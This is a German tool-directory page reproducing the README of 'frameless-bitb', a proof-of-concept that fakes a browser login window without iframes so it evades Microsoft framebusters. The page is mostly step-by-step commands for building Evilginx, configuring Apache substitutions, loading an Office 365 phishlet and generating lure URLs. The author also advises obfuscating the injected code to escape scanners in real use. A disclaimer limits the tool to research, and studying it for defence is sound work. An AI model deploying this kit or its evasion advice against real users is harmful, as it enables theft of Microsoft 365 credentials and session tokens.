Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
frameless-bitb — Ein neuer Ansatz für Browser In The Browser (BITB) ohne die Verwendung von Iframes, der die Umgehung traditioneller Framebuster ermöglicht, die von Anmeldeseiten wie Microsoft implementiert werden, sowie die Nutzung mit Evilginx. | Kitploit
Tools/GitHubGitHub/waelmas/frameless-bitb
Phishing-ToolsIDS/IPS-UmgehungWebanwendungs-ExploitationPhishingSocial EngineeringLernen & Bildung
GitHubwaelmas/frameless-bitb

frameless-bitb

Ein neuer Ansatz für Browser In The Browser (BITB) ohne die Verwendung von Iframes, der die Umgehung traditioneller Framebuster ermöglicht, die von Anmeldeseiten wie Microsoft implementiert werden, sowie die Nutzung mit Evilginx.

Repository anzeigen
4557345vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Frameless BITB

Ein neuer Ansatz für Browser im Browser (BITB) ohne die Verwendung von Iframes, der die Umgehung traditioneller Framebuster ermöglicht, wie sie von Anmeldeseiten wie Microsoft implementiert werden.

Dieser POC-Code wurde für die Verwendung dieses neuen BITB mit Evilginx und einem Microsoft Enterprise Phishlet entwickelt.

Frameless-BITB-DEMO-compressed

Bevor Sie sich intensiv damit befassen, empfehle ich Ihnen, sich zuerst meinen Vortrag auf der BSides 2023 anzusehen, in dem ich dieses Konzept zusammen mit wichtigen Details zur Erstellung des 'perfekten' Phishing-Angriffs vorgestellt habe. ▶ Video ansehen

☕︎ Kauf mir einen Kaffee

Video-Tutorial: 👇

Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungs- und Forschungszwecken. Es demonstriert eine nicht auf Iframes basierende Browser-Im-Browser-Methode (BITB). Der Autor ist nicht für jeglichen Missbrauch verantwortlich. Verwenden Sie dieses Tool nur legal und ethisch, in kontrollierten Umgebungen für Sicherheitstests der Cybersicherheit. Durch die Nutzung dieses Tools stimmen Sie zu, dies verantwortungsbewusst und auf eigenes Risiko zu tun.

Hintergrundgeschichte – Das Warum

Im letzten Jahr habe ich mit verschiedenen Tricks experimentiert, um den 'perfekten' Phishing-Angriff zu entwickeln. Die typischen 'Warnsignale', auf die Menschen trainiert sind, sind Dringlichkeit, Drohungen, Autorität, schlechte Grammatik usw. Das nächste, worauf die Leute heutzutage achten, ist der Link/die URL der Website, mit der sie interagieren, und sie werden sehr vorsichtig, sobald sie aufgefordert werden, vertrauliche Anmeldeinformationen wie E-Mails und Passwörter einzugeben.

Hier kommt Browser im Browser (BITB) ins Spiel. Ursprünglich von @mrd0x eingeführt, ist BITB ein Konzept, bei dem der Anschein eines glaubwürdigen Browserfensters erzeugt wird, in dem der Angreifer den Inhalt kontrolliert (indem die bösartige Website in einem Iframe bereitgestellt wird). Die gefälschte URL-Leiste des gefälschten Browserfensters wird jedoch auf die legitime Website gesetzt, die der Benutzer erwarten würde. Dies kombiniert mit einem Tool wie Evilginx wird zum perfekten Rezept für einen glaubwürdigen Phishing-Angriff.

Das Problem ist, dass große Websites wie Microsoft in den letzten Monaten/Jahren verschiedene kleine Tricks namens 'Framebuster/Framekiller' implementiert haben, die hauptsächlich versuchen, Iframes zu unterbrechen, die möglicherweise verwendet werden, um die proxierte Website bereitzustellen, wie im Fall von Evilginx.

Kurz gesagt, Evilginx + BITB funktioniert für Websites wie Microsoft nicht mehr. Zumindest nicht mit einem BITB, das auf Iframes angewiesen ist.

Das Was

Ein Browser im Browser (BITB) ohne Iframes! So einfach ist das. Das bedeutet, dass wir jetzt BITB mit Evilginx auf Websites wie Microsoft verwenden können. Evilginx ist hier nur ein starkes Beispiel, aber das gleiche Konzept kann auch für andere Anwendungsfälle verwendet werden.

Das Wie

Framebuster zielen speziell auf Iframes ab, daher besteht die Idee darin, den BITB-Effekt ohne Verwendung von Iframes zu erzeugen, ohne die ursprüngliche Struktur/den Inhalt der proxierten Seite zu stören. Dies kann erreicht werden, indem Skripte und HTML neben dem ursprünglichen Inhalt durch Suchen und Ersetzen (sogenannte Substitutionen) injiziert werden, und dann vollständig auf HTML/CSS/JS-Tricks angewiesen sind, um den visuellen Effekt zu erzielen. Wir verwenden auch einen zusätzlichen Trick namens 'Shadow DOM' in HTML, um den Inhalt der Landing Page (Hintergrund) so zu platzieren, dass er nicht mit dem proxierten Inhalt interferiert, sodass wir flexibel jede Landing Page mit geringfügigen zusätzlichen JS-Skripten verwenden können.

Anleitung

Video-Tutorial

Thumbnail with YouTube Player

https://youtu.be/luJjxpEwVHI

Lokale VM:

Erstellen Sie eine lokale Linux-VM. (Ich persönlich verwende Ubuntu 22 auf VMWare Player oder Parallels Desktop)

Systempakete aktualisieren und upgraden:

root@kitploit:~
sudo apt update && sudo apt upgrade -y

Evilginx Einrichtung:

Optional:

Erstellen Sie einen neuen evilginx-Benutzer und fügen Sie den Benutzer zur sudo-Gruppe hinzu:

sudo su

adduser evilginx

usermod -aG sudo evilginx

Testen, ob der evilginx-Benutzer in der sudo-Gruppe ist:

su - evilginx

sudo ls -la /root

Navigieren Sie zum Home-Verzeichnis des Benutzers:

cd /home/evilginx

(Sie können alles auch als sudo-Benutzer erledigen, da wir alles lokal ausführen)

Evilginx einrichten

Evilginx herunterladen und bauen: Offizielle Dokumentation

Evilginx-Dateien nach /home/evilginx kopieren

Go installieren: Offizielle Dokumentation

root@kitploit:~
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
root@kitploit:~
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
root@kitploit:~
nano ~/.profile

HINZUFÜGEN: export PATH=$PATH:/usr/local/go/bin

root@kitploit:~
source ~/.profile

Überprüfen:

root@kitploit:~
go version

make installieren:

root@kitploit:~
sudo apt install make

Evilginx bauen:

root@kitploit:~
cd /home/evilginx/evilginx2
root@kitploit:~
make

Erstellen Sie ein neues Verzeichnis für unseren Evilginx-Build zusammen mit Phishlets und Redirectors:

root@kitploit:~
mkdir /home/evilginx/evilginx

Build, Phishlets und Redirectors kopieren:

root@kitploit:~
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx

cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors

cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets

Schnellkorrektur für Ubuntu-Firewall (Danke an @kgretzky)

root@kitploit:~
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx

Unter Ubuntu, falls Sie den Fehler Failed to start nameserver on: :53 erhalten, versuchen Sie, diese Datei zu ändern

root@kitploit:~
sudo nano /etc/systemd/resolved.conf

edit/add the DNSStubListener to no > DNSStubListener=no

then

root@kitploit:~
sudo systemctl restart systemd-resolved

Evilginx-Konfigurationen ändern:

Da wir Apache2 vor Evilginx verwenden werden, müssen wir Evilginx an einem anderen Port als 443 lauschen lassen.

root@kitploit:~
nano ~/.evilginx/config.json

Ändern Sie https_port von 443 auf 8443

Apache2 installieren und Module aktivieren:

Apache2 installieren:

root@kitploit:~
sudo apt install apache2 -y

Apache2-Module aktivieren, die verwendet werden: (Wir deaktivieren auch das Modul access_compat, da es manchmal Probleme verursacht)

root@kitploit:~
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat

Apache starten und aktivieren:

root@kitploit:~
sudo systemctl start apache2
root@kitploit:~
sudo systemctl enable apache2

Testen Sie, ob Apache und die VM-Netzwerkverbindung funktionieren, indem Sie die IP der VM von einem Browser auf dem Host-Rechner aus aufrufen.

Dieses Repository klonen:

Installieren Sie git, falls nicht bereits verfügbar:

root@kitploit:~
sudo apt -y install git

Klonen Sie dieses Repository:

root@kitploit:~
git clone https://github.com/waelmas/frameless-bitb
root@kitploit:~
cd frameless-bitb

Benutzerdefinierte Apache-Seiten:

Erstellen Sie Verzeichnisse für die Seiten, die wir bereitstellen werden:

  • home: (Optional) Startseite (auf Basis-Domain)
  • primary: Landing Page (Hintergrund)
  • secondary: BITB-Fenster (Vordergrund)
root@kitploit:~
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary

Kopieren Sie die Verzeichnisse für jede Seite:

root@kitploit:~

sudo cp -r ./pages/home/ /var/www/

sudo cp -r ./pages/primary/ /var/www/

sudo cp -r ./pages/secondary/ /var/www/

Optional: Entfernen Sie die Standard-Apache-Seite (nicht verwendet):

root@kitploit:~
sudo rm -r /var/www/html/

Kopieren Sie das O365-Phishlet in das Phishlets-Verzeichnis:

root@kitploit:~
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml

Optional: Um das Calendly-Widget so einzustellen, dass es Ihren Account anstelle des von mir standardmäßig verwendeten verwendet, gehen Sie zu pages/primary/script.js und ändern Sie CALENDLY_PAGE_NAME und CALENDLY_EVENT_TYPE.

Hinweis zur Demo-Verschleierung: Wie ich im Walkthrough-Video erkläre, habe ich eine minimale Verschleierung für Textinhalte wie URLs und Titel des BITB eingebaut. Sie können den Demo-Verschleierer öffnen, indem Sie demo-obfuscator.html in Ihrem Browser öffnen. In einem realen Szenario würde ich dringend empfehlen, größere Teile des injizierten HTML-Codes zu verschleiern oder JS-Tricks zu verwenden, um nicht erkannt und markiert zu werden. Die erweiterte Version, an der ich arbeite, wird eine Kombination fortgeschrittener Tricks verwenden, um es Scannern nahezu unmöglich zu machen, den BITB-Code zu identifizieren/erkennen. Bleiben Sie also dran.

Selbstsignierte SSL-Zertifikate:

Da wir alles lokal ausführen, müssen wir selbstsignierte SSL-Zertifikate generieren, die von Apache verwendet werden. Evilginx benötigt die Zertifikate nicht, da wir es im Entwicklermodus ausführen werden.

Wir verwenden die Domain fake.com, die auf unsere lokale VM zeigt. Wenn Sie eine andere Domain verwenden möchten, stellen Sie sicher, dass Sie die Domain in allen Dateien (Apache-Konfigurationsdateien, JS-Dateien usw.) ändern.

Erstellen Sie das Verzeichnis und ggf. übergeordnete Verzeichnisse, falls sie nicht existieren:

root@kitploit:~
sudo mkdir -p /etc/ssl/localcerts/fake.com/

Generieren Sie die SSL-Zertifikate mit der OpenSSL-Konfigurationsdatei:

root@kitploit:~
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf

Berechtigungen des privaten Schlüssels ändern:

root@kitploit:~
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem

Benutzerdefinierte Apache-Konfigurationen:

Kopieren Sie die benutzerdefinierten Substitutionsdateien (der Kern unseres Ansatzes):

root@kitploit:~
sudo cp -r ./custom-subs /etc/apache2/custom-subs

Wichtiger Hinweis: In diesem Repository habe ich 2 Substitutionskonfigurationen für Chrome auf Mac und Chrome auf Windows BITB beigefügt. Beide verfügen über eine automatische Erkennung und Gestaltung für den Hell-/Dunkelmodus und sollten als Basisvorlagen dienen, um dasselbe für andere Browser/OS-Kombinationen zu erreichen. Da ich keine automatische Erkennung der Browser/OS-Kombination, die zum Besuch unserer Phishing-Seite verwendet wird, beigefügt habe, müssen Sie eine der beiden verwenden oder Ihre eigene Logik für das automatische Umschalten implementieren.

Beide Konfigurationsdateien unter /apache-configs/ sind gleich, nur mit einer anderen Include-Direktive für die Substitutionsdatei, die eingefügt wird. (Es gibt 2 Referenzen für jede Datei)

root@kitploit:~
# Uncomment the one you want and remember to restart Apache after any changes:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf

Um es einfacher zu machen, habe ich beide Versionen als separate Dateien für diesen nächsten Schritt beigefügt.

Windows/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Mac/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Testen Sie die Apache-Konfigurationen, um sicherzustellen, dass keine Fehler vorhanden sind:

root@kitploit:~
sudo apache2ctl configtest

Apache neu starten, um die Änderungen zu übernehmen:

root@kitploit:~
sudo systemctl restart apache2

Hosts-Datei ändern:

Ermitteln Sie die IP der VM mit ifconfig und notieren Sie sie für den nächsten Schritt.

Wir müssen nun neue Einträge in unserer Hosts-Datei hinzufügen, um die in dieser Demo verwendete Domain fake.com und alle verwendeten Subdomains auf unsere VM zu verweisen, auf der Apache und Evilginx laufen.

Unter Windows:

Öffnen Sie Notepad als Administrator (Suchen > Notepad > Rechtsklick > Als Administrator ausführen)

Klicken Sie auf die Datei-Option (oben links) und fügen Sie in der Adressleiste des Datei-Explorers Folgendes ein:

C:\Windows\System32\drivers\etc\

Ändern Sie den Dateityp (unten rechts) auf "Alle Dateien".

Doppelklicken Sie auf die Datei mit dem Namen hosts

Unter Mac:

Öffnen Sie ein Terminal und führen Sie Folgendes aus:

root@kitploit:~
sudo nano /private/etc/hosts

Ändern Sie nun die folgenden Einträge (ersetzen Sie [IP] durch die IP Ihrer VM) und fügen Sie die Einträge am Ende der Hosts-Datei ein:

root@kitploit:~
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section

Speichern und schließen.

Starten Sie nun Ihren Browser neu, bevor Sie zum nächsten Schritt übergehen.

Hinweis: Unter Mac verwenden Sie den folgenden Befehl, um den DNS-Cache zu leeren:

sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

Wichtiger Hinweis:

Diese Demo wurde mit dem bereitgestellten Office 365 Enterprise Phishlet erstellt. Um die Host-Einträge zu erhalten, die Sie für ein anderes Phishlet hinzufügen müssen, verwenden Sie phishlet get-hosts [PHISHLET_NAME], denken Sie aber daran, 127.0.0.1 durch die tatsächliche lokale IP Ihrer VM zu ersetzen.

Selbstsignierte SSL-Zertifikate vertrauen:

Da wir selbstsignierte SSL-Zertifikate verwenden, wird unser Browser jedes Mal warnen, wenn wir versuchen, fake.com zu besuchen. Daher müssen wir unsere Host-Maschine die Zertifizierungsstelle vertrauen lassen, die die SSL-Zertifikate signiert hat.

Für diesen Schritt ist es einfacher, den Videoanweisungen zu folgen, aber hier ist trotzdem die Zusammenfassung.

Öffnen Sie https://fake.com/ in Ihrem Chrome-Browser.

Ignorieren Sie die Warnung 'Unsichere Website' und fahren Sie mit der Seite fort.

Klicken Sie auf das SSL-Symbol > Details > Zertifikat exportieren WICHTIG: Beim Speichern muss der Name mit .crt enden, damit Windows es korrekt öffnen kann.

Doppelklicken Sie darauf > Für aktuellen Benutzer installieren. Wählen Sie NICHT automatisch, sondern platzieren Sie das Zertifikat in einem bestimmten Speicher: Wählen Sie 'Vertrauenswürdige Stammzertifizierungsstellen'.

Unter Mac: Um nur für den aktuellen Benutzer zu installieren > wählen Sie 'Schlüsselbund: Anmeldung' UND klicken Sie auf 'Zertifikate anzeigen' > Details > Vertrauen > Immer vertrauen

Starten Sie jetzt Ihren Browser NEU

Sie sollten jetzt https://fake.com besuchen können und die Startseite ohne SSL-Warnungen sehen.

Evilginx ausführen:

An diesem Punkt sollte alles bereit sein, sodass wir fortfahren und Evilginx starten, das Phishlet einrichten, unseren Köder erstellen und testen können.

Optional: tmux installieren (damit Evilginx auch nach Schließen der Terminalsitzung weiterläuft. Hauptsächlich nützlich bei Ausführung auf einer entfernten VM.)

root@kitploit:~
sudo apt install tmux -y

Evilginx im Entwicklermodus starten (mit tmux, um die Sitzung nicht zu verlieren):

root@kitploit:~
tmux new-session -s evilginx
root@kitploit:~
cd ~/evilginx/
root@kitploit:~
./evilginx -developer

(Um sich wieder mit der tmux-Sitzung zu verbinden, verwenden Sie tmux attach-session -t evilginx)

Evilginx-Konfiguration:

root@kitploit:~
config domain fake.com
root@kitploit:~
config ipv4 127.0.0.1

WICHTIG: Setzen Sie den Evilginx-Blacklist-Modus auf NoAdd, um zu vermeiden, dass Apache auf die Blacklist gesetzt wird, da alle Anfragen von Apache und nicht von der tatsächlichen Besucher-IP kommen.

root@kitploit:~
blacklist noadd

Phishlet und Köder einrichten:

root@kitploit:~
phishlets hostname O365 fake.com
root@kitploit:~
phishlets enable O365
root@kitploit:~
lures create O365
root@kitploit:~
lures get-url 0

Kopieren Sie die Köder-URL und besuchen Sie sie von Ihrem Browser aus (verwenden Sie den Gastbenutzer in Chrome, um zu vermeiden, dass alle gespeicherten/zwischengespeicherten Daten zwischen Tests gelöscht werden müssen).

Nützliche Ressourcen

Ursprüngliches iframe-basiertes BITB von @mrd0x: https://github.com/mrd0x/BITB

Evilginx Mastery-Kurs vom Ersteller von Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery

Mein Vortrag auf der BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg

So schützen Sie Evilginx mit Cloudflare und HTML-Verschleierung: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation

Evilginx-Ressourcen für Microsoft 365 von @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/

TODO

  • Skript(e) erstellen, um die meisten Schritte zu automatisieren
Tool herunterladen